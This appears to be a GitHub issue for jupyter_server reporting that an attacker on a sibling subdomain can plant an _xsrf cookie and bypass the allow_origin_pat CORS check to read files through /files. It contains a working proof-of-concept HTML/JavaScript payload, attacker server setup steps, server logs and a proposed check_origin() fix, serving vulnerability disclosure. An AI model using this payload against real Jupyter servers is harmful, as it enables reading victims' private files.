Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CORS is not checked when browsing files. #1459

Open
gogasca opened this issue Sep 21, 2024 · 1 comment
Open

CORS is not checked when browsing files. #1459

gogasca opened this issue Sep 21, 2024 · 1 comment
Labels

Comments

@gogasca
Copy link
Contributor

gogasca commented Sep 21, 2024

Description

When using JupyterLab + jupyter_server an attacker can pass a redirect using _xsrf HTTP param and cookie to bypass CORS checks (c.ServerApp.allow_origin_pat). Using jupyter-server 2.14.2. Redirect provides access to /files path

Reproduce

Scenario:

Jupyter Server 1 (myjupyterserver1.mydomain.com) - Attacker

sudo su
cd /opt/conda/share/jupyter/lab/static
mv index.html index.html.bak
vim index.html

Edit index.html

<html>
<body>
<script>
  var notebook_domain = "" //example: myjupyterserver1.mydomain.com
  var file_path = "/test.txt" // a Local file in c.ServerApp.root_dir
  
  var base_domain = document.domain.substr(document.domain.indexOf('.'));
        document.cookie='_xsrf=1;Domain='+base_domain;
  
  fetch("https://"+notebook_domain+"/files"+file_path+"?_xsrf=1", {mode: "cors", credentials: "include"}).then(response => response.text()).then(text => {console.log(text)});
</script>
</body>
</html>
c.NotebookApp.open_browser = False
c.ServerApp.token = ""
c.ServerApp.password = ""
c.ServerApp.port = 8082
c.ServerApp.allow_remote_access = True
c.ServerApp.root_dir = "/Users/gogasca/Documents"
c.Application.log_level = 0
c.NotebookApp.disable_check_xsrf = False
c.ServerApp.allow_origin_pat = "https:\/\/myjupyterserver2\\.mydomain\\.com"
  • Jupyter Server 2 (myjupyterserver2.mydomain.com)

Attacker gives victim myjupyterserver1.mydomain.com which redirects to himself and bypass CORS checks.

image

Expected behavior

CORS logic is executed.c.ServerApp.allow_origin_pat is verified.

I tried to reproduce with local Jupyter but unable to do so. (local Jupyter 127.0.0.1:8081 and 127.0.0.1:8082), as I think _xsrf=1 cookie is not passed. I reproduced using Jupyter Server behind a Proxy.

Context

  • Operating System and version:
  • Browser and version:
  • Jupyter Server version:

Bug here:

https://github.com/jupyter-server/jupyter_server/blob/main/jupyter_server/base/handlers.py#L537
https://github.com/tornadoweb/tornado/blob/master/tornado/web.py#L1619

Potential fix add check_origin() method. Fix worked in lab. super().check_xsrf_cookie() is calling tornado.

try:
            if not self.check_origin():
                raise web.HTTPError(404)
            return super().check_xsrf_cookie()
...

image

Troubleshoot Output

Request is not blocked even when c.ServerApp.allow_origin_pat is configured correctly.

image

Paste the output from running `jupyter troubleshoot` from the command line here.
You may want to sanitize the paths in the output.
Command Line Output

I added extra debugs:

[D 2024-09-21 04:57:41.338 ServerApp] Generating new user for token-authenticated request: 6d852c7674ce45aca215c16b1e99fd57
[I 2024-09-21 04:57:41.338 ServerApp] Get AuthenticatedFileHandler
[I 2024-09-21 04:57:41.338 ServerApp] check_xsrf_cookie
[D 2024-09-21 04:57:41.338 ServerApp] is_token_authenticated
[D 2024-09-21 04:57:41.338 ServerApp] False
[I 2024-09-21 04:57:41.338 ServerApp] super().check_xsrf_cookie
[D 2024-09-21 04:57:41.339 ServerApp] 200 GET /files/src/localfile.txt?_xsrf=[secret] ([email protected]) 1.91ms
Browser Output
Paste the output from your browser Javascript console here, if applicable.
@gogasca
Copy link
Contributor Author

gogasca commented Nov 1, 2024

Submitted this fix #1465.
Looking for reviewers. Thanks!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant